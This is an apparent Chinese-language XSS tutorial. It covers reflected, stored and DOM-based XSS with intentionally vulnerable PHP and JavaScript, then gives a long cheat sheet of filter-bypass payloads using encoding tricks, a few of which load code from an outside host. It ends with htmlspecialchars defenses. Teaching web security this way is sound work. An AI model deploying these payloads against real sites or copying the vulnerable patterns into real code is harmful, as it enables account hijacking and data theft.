0x00 原理
xss全稱為cross site scripting,中文為跨站指令碼攻擊。它允許web使用者將惡意程式碼植入到提供給使用者使用的頁面。程式碼包括HTML程式碼和客戶端指令碼。
0x01 危害
- 盜取使用者賬戶(獲取cookie)
- 控制網頁資料
- 盜竊企業資料
- 非法轉賬
- 強制傳送電子郵件
- 網站掛馬
- 控制受害者機器向其他網站發起攻擊
0x02 xss類別以及程式碼實現
0x02.1 反射型xss
反射型xss也叫非永續性xss,是一種常見的xss漏洞,但是危害較小。
後端程式碼
<?php
highlight_file('reflect_xss.php');
$user=$_GET['user'];
echo $user;
?>
前端測試
可以看到我們的js程式碼被直接插入進了頁面執行。
根據需求可以構造各種各樣的js程式碼
因為沒設定cookie 所以不彈cookie
0x02.2 儲存型xss
儲存型xss也被稱做持久型xss,儲存xss是最危險的一種跨站指令碼。它被伺服器接收並儲存,使用者訪問該網頁,這段xss就會被讀取出來到瀏覽器。
一般出現在留言板
後端程式碼(拆了dvwa的xss儲存做測試)
<?php
if( isset( $_POST[ 'btnSign' ] ) ) {
// Get input
$message = trim( $_POST[ 'mtxMessage' ] );
$name = trim( $_POST[ 'txtName' ] );
// Sanitize message input
$message = stripslashes( $message );
$message = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $message ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Sanitize name input
$name = ((isset($GLOBALS["___mysqli_ston"]) && is_object($GLOBALS["___mysqli_ston"])) ? mysqli_real_escape_string($GLOBALS["___mysqli_ston"], $name ) : ((trigger_error("[MySQLConverterToo] Fix the mysql_escape_string() call! This code does not work.", E_USER_ERROR)) ? "" : ""));
// Update database
$query = "INSERT INTO guestbook ( comment, name ) VALUES ( '$message', '$name' );";
$result = mysqli_query($GLOBALS["___mysqli_ston"], $query ) or die( '<pre>' . ((is_object($GLOBALS["___mysqli_ston"])) ? mysqli_error($GLOBALS["___mysqli_ston"]) : (($___mysqli_res = mysqli_connect_error()) ? $___mysqli_res : false)) . '</pre>' );
//mysql_close();
}
?>
審計原始碼 我們可以發現,先檢測了使用者是否輸入,然後對輸入的名字和內容進行檢測,最後將值插入到資料庫中
前端測試
在當前頁面重新整理後,會重新進行sql查詢,將查詢到的結果返回到頁面上。
所以可以通過這種方式去獲取他人cookie,實現登入他人賬號。
0x02.3 dom型xss
dom型xss只發生在客戶端處理資料階段,可認為dom型xss就是出現在javascript中的漏洞。
前端程式碼
<html>
<head>
<title>aa</title>
</head>
<body>
<script>
var temp=document.URL;
var index=document.URL.indexOf("content=")+4;
var par=temp.substring(index);
document.write(decodeURI(par));
</script>
</body>
</html>
關鍵是script標籤下的程式碼,因為用到了document.write 使得使用者輸入的程式碼被寫入到了頁面上。
前端測試
0x03 xss常見payload中用到的標籤
<script>
<a>
<p>
<img>
<body>
<button>
<var>
<div>
<iframe>
<object>
<input>
<select>
<textarea>
<keygen>
<frameset>
<embed>
<svg>
<math>
<video>
<audio>
<style>
0x04 xss常見payload中用到的事件
onload
onunload
onchange
onsubmit
onreset
onselect
onblur
onfocus
onabort
onkeydown
onkeypress
onkeyup
onclick
ondbclick
onmouseover
onmousemove
onmouseout
onmouseup
onforminput
onformchange
ondrag
ondrop
0x05 xss常見payload中用到的屬性
formaction
action
href
xlink:href
autofocus
src
content
data
0x06 xss繞過的一些技巧
屬性與屬性之間需要空格,而屬性與標籤之間可以不用
<img/src=x onerror=alert(1)>
通殺各種xss漏洞
使用html實體編碼
<a href=javascript:alert(13)>M
一般用於dom型
xlink:href隱藏連結
<svg><a xlink:href="javascript:alert(14)"><rect width="1000" height="1000" fill="white"/></a></svg>
通殺
jsfuck編碼彈窗
<script>alert((+[][+[]]+[])[++[[]][+[]]]+([![]]+[])[++[++[[]][+[]]][+[]]]+([!![]]+[])[++[++[++[[]][+[]]][+[]]][+[]]]+([!![]]+[])[++[[]][+[]]]+([!![]]+[])[+[]])</script>
一般用於dom型
網站: http://www.jsfuck.com/
aaencode編碼彈窗
<script>゚ω゚ノ= /`m´)ノ ~┻━┻ //*´∇`*/ ['_']; o=(゚ー゚) =_=3; c=(゚Θ゚) =(゚ー゚)-(゚ー゚); (゚Д゚) =(゚Θ゚)= (o^_^o)/ (o^_^o);(゚Д゚)={゚Θ゚: '_' ,゚ω゚ノ : ((゚ω゚ノ==3) +'_') [゚Θ゚] ,゚ー゚ノ :(゚ω゚ノ+ '_')[o^_^o -(゚Θ゚)] ,゚Д゚ノ:((゚ー゚==3) +'_')[゚ー゚] }; (゚Д゚) [゚Θ゚] =((゚ω゚ノ==3) +'_') [c^_^o];(゚Д゚) ['c'] = ((゚Д゚)+'_') [ (゚ー゚)+(゚ー゚)-(゚Θ゚) ];(゚Д゚) ['o'] = ((゚Д゚)+'_') [゚Θ゚];(゚o゚)=(゚Д゚) ['c']+(゚Д゚) ['o']+(゚ω゚ノ +'_')[゚Θ゚]+ ((゚ω゚ノ==3) +'_') [゚ー゚] + ((゚Д゚) +'_') [(゚ー゚)+(゚ー゚)]+ ((゚ー゚==3) +'_') [゚Θ゚]+((゚ー゚==3) +'_') [(゚ー゚) - (゚Θ゚)]+(゚Д゚) ['c']+((゚Д゚)+'_') [(゚ー゚)+(゚ー゚)]+ (゚Д゚) ['o']+((゚ー゚==3) +'_') [゚Θ゚];(゚Д゚) ['_'] =(o^_^o) [゚o゚] [゚o゚];(゚ε゚)=((゚ー゚==3) +'_') [゚Θ゚]+ (゚Д゚) .゚Д゚ノ+((゚Д゚)+'_') [(゚ー゚) + (゚ー゚)]+((゚ー゚==3) +'_') [o^_^o -゚Θ゚]+((゚ー゚==3) +'_') [゚Θ゚]+ (゚ω゚ノ +'_') [゚Θ゚]; (゚ー゚)+=(゚Θ゚); (゚Д゚)[゚ε゚]='\\'; (゚Д゚).゚Θ゚ノ=(゚Д゚+ ゚ー゚)[o^_^o -(゚Θ゚)];(o゚ー゚o)=(゚ω゚ノ +'_')[c^_^o];(゚Д゚) [゚o゚]='\"';(゚Д゚) ['_'] ( (゚Д゚) ['_'] (゚ε゚+(゚Д゚)[゚o゚]+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ ((゚ー゚) + (o^_^o))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) +(o^_^o))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) - (゚Θ゚))+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ (゚ー゚)+ (o^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (c^_^o)+ (゚Д゚)[゚ε゚]+(゚Θ゚)+ ((o^_^o) +(o^_^o))+ (゚ー゚)+ (゚Д゚)[゚ε゚]+(゚ー゚)+ ((o^_^o) - (゚Θ゚))+ (゚Д゚)[゚ε゚]+((゚ー゚) + (゚Θ゚))+ (゚Θ゚)+ (゚Д゚)[゚o゚]) (゚Θ゚)) ('_');</script>
一般用於dom型
網站: https://www.jisuan.mobi/pHNNNNHzz6z3NJyX.html
並不需要規範的script
<script ????>alert(1)</script>
通殺
使用unicode編碼+html實體編碼
<script/src=data:text/j\u0061v\u0061script,\u0061lert(/XSS/)></script>
一般用到html實體編碼的只能殺dom型
使用unicode編碼
<script>\u0061\u006c\u0065\u0072\u0074(/\u002f\u0078\u0073\u0073\u002f/)</script>
通殺
不使用alert,使用別的事件彈窗
-
<script>prompt(-[])</script>
通殺
-
<script>confirm(-[])</script>
通殺
使用/替代單引號和雙引號
<script>alert(/3/)</script>
通殺
使用String.fromCharCode 轉成 字元
<script>alert(String.fromCharCode(49))</script>
通殺
執行程式碼後加.source不影響程式碼執行 加其他字元可能出現undefine
<script>alert(/shit/.source)</script>
通殺
使用settimeout輸出alert
<script>setTimeout('alert(1)',0)</script>
通殺
經典button alert
<button/onclick=alert(1) >M</button>
通殺
過濾了所以on開頭事件
<form><button formaction=javascript:alert(1)>M
一般適用於dom xss
無限彈,彈到死
<button onfocus=alert(1) autofocus>
通殺
插入p標籤
<p/onmouseover=javascript:alert(1); >M</p>
通殺
滑鼠移動到M
img標籤常用Payload
<img src=x onerror=alert(1)>
通殺<img src ?itworksonchrome?\/onerror = alert(1)>
通殺,但只適用於谷歌<img src=x onerror=window.open('http://google.com');>
會被谷歌攔截
<img/src/onerror=alert(1)>
通殺,適用於谷歌<img src="x:kcf" onerror="alert(1)">
通殺
body標籤常用payload
<body onscroll=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input autofocus>
通殺<body onload=alert(1)>
通殺
其實就是通過事件執行彈窗<body%20onclick=alert(1)><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><br><input%20autofocus>
通殺
var標籤常用payload
<var onmouseover="prompt(1)">KCF</var>
通殺
div標籤常用payload
<div/onmouseover='alert(1)'>X
通殺<div style="position:absolute;top:0;left:0;width:100%;height:100%" onclick="alert(52)">
通殺
隱藏執行
iframe標籤常用payload
可以通過實體編碼
&Tab(換行和tab字元)來bypass一些filter。可以通過事先在swf檔案中插入我們的xss code,然後通過src屬性來呼叫。
只有在crossdomain.xml檔案中,allow-access-from domain=“"允許從外部呼叫swf時,我們才可以通過flash來實現xss attack.
-
<iframe src=j
	a
		v
			a
				s
					c
						r
							i
								p
									t
										:a
											l
												e
													r
														t
															%28
																1
																	%29></iframe>
一般用於dom型xss -
<iframe src=j	a	v	a	s	c	r	i	p	t	:a	l	e	r	t	%28	1	%29></iframe>
一般用於dom型xss
-
<iframe%20SRC="http://xss/xss.swf"></iframe>
呼叫flash xss 通殺
-
<IFRAME SRC="javascript:alert(1);"></IFRAME>
通殺
-
<iframe/onload=alert(53)></iframe>
通殺
meta標籤常用payload
文章標題跑到meta標籤裡。只需要跳出當前屬性再新增http-equiv="refresh",就可以構造一個有效的xss payload
<meta http-equiv="refresh" content="0;javascript:alert(1)"/>?
測試失敗<meta http-equiv="refresh" content="0; url=data:text/html,%3C%73%63%72%69%70%74%3E%61%6C%65%72%74%28%31%29%3C%2F%73%63%72%69%70%74%3E">
測試失敗
object標籤常用payload
<object data=data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4=></object>
通殺
marquee標籤常用payload
<marquee onstart="alert('sometext')">as</marquee>
測試失敗
很有意思的標籤<marquee%20%20onclick=javascript:alert(/xss/)>as</marquee>
通殺
isindex標籤常用payload
<isindex type=image src=1 onerror=alert(1)>
測試失敗<isindex action=javascript:alert(1) type=image>
測試失敗
input標籤常用payload
input和Button差不多
<input onfocus=javascript:alert(1) autofocus>
通殺<input onblur=javascript:alert(1) autofocus><input autofocus>
通殺
select標籤常用payload
<select onfocus=javascript:alert(1) autofocus>
通殺
textarea標籤常用payload
<textarea onfocus=javascript:alert(1) autofocus>
通殺
keygen標籤常用payload
<keygen onfocus=javascript:alert(1) autofocus>
測試失敗
frameset標籤常用payload
<FRAMESET><FRAME SRC="javascript:alert(1);"></FRAMESET>
測試失敗<frameset onload=alert(1)>
測試失敗
embed標籤常用payload
-
<embed src="data:text/html;base64,PHNjcmlwdD5hbGVydCgiS0NGIik8L3NjcmlwdD4="></embed>
通殺 適用谷歌 -
<embed src=javascript:alert(1)>
通殺 適用火狐
svg標籤常用payload
<svg onload="javascript:alert(1)" xmlns="http://www.w3.org/2000/svg"></svg>
通殺<svg xmlns="http://www.w3.org/2000/svg"><g onload="javascript:alert(1)"></g></svg>
測試失敗 谷歌
math標籤常用payload
<math href="javascript:javascript:alert(1)">CLICKME</math>
測試失敗<math><y/xlink:href=javascript:alert(51)>test1
測試失敗-
xlink:href="javascript:alert(49)">CLICKME ``` 測試失敗
vedio標籤常用payload
<video><source onerror="alert(1)">
通殺<video src=x onerror=alert(48)>
通殺
audio標籤常用Payload
<audio src=x onerror=alert(47)>
通殺
凡是on開頭事件後出現javascript:都是多餘的
0x07 xss防禦方式
將<> 轉成html實體編碼顯示在頁面
&(和號)成為&
“(雙引號)成為"
‘(單引號)成為'
<(小於)成為< >( 大於)成為>
- htmlspecialchars()函式 通殺所有需要構造標籤的payload. 厲不厲害?不給hacker們留活路呢
後端程式碼
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
echo htmlspecialchars($user);
?>
前端測試
在原始碼中我們可以看到php函式htmlspecialchars將所有<> 都轉成了對應的html實體編碼,部落格園裡也用了這種方法。
預設轉義了雙引號和<>,其實已經夠了
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
#echo htmlspecialchars($user,ENT_COMPAT); 預設編碼雙引號
#echo htmlspecialchars($user,ENT_QUOTES); 編碼雙引號和單引號
#echo htmlspecialchars($user,ENT_NOQUOTES); 不編碼任何引號
?>
-
使用了ENT_COMPAT
-
使用了ENT_QUOTES
-
使用了ENT_NOQUOTES
0x08 xss裡的<>被轉義了怎麼繞過?
已經有辦法繞了,但是不能完全繞(必須某種特定情況)
- 如果使用者輸入的是直接插入到頁面中,則需要自己構造標籤,這種一般就不用考慮繞了,基本上是在浪費時間。
- 如果使用者輸入的是插入到頁面為我們構造好的標籤裡,我們不用自己構造標籤,那就有很多方法來繞過了。
後端程式碼
<?php
highlight_file('htmlspecialchars_xss.php');
$user=$_GET['user'];
$html='<p value='.htmlspecialchars($user).'>登入</p>';
echo $html;
?>
只是簡單演示一下,實際情況有非常多,都是將使用者輸入的程式碼直接插入了標籤中的某個屬性裡,而且還是使用了預設的htmlspecialchars 不轉義單引號,萬變不離其中。
前端測試
正常轉義
構造payload
- a onclick=javascript:alert(/xss/)
在原始碼中可以看到標籤完美閉合
返回頁面 點選登入 彈窗
0x08 xss payload檢測網站
0x09 xss真正防禦方式
函式不重要,重要的是開發者的安全意識。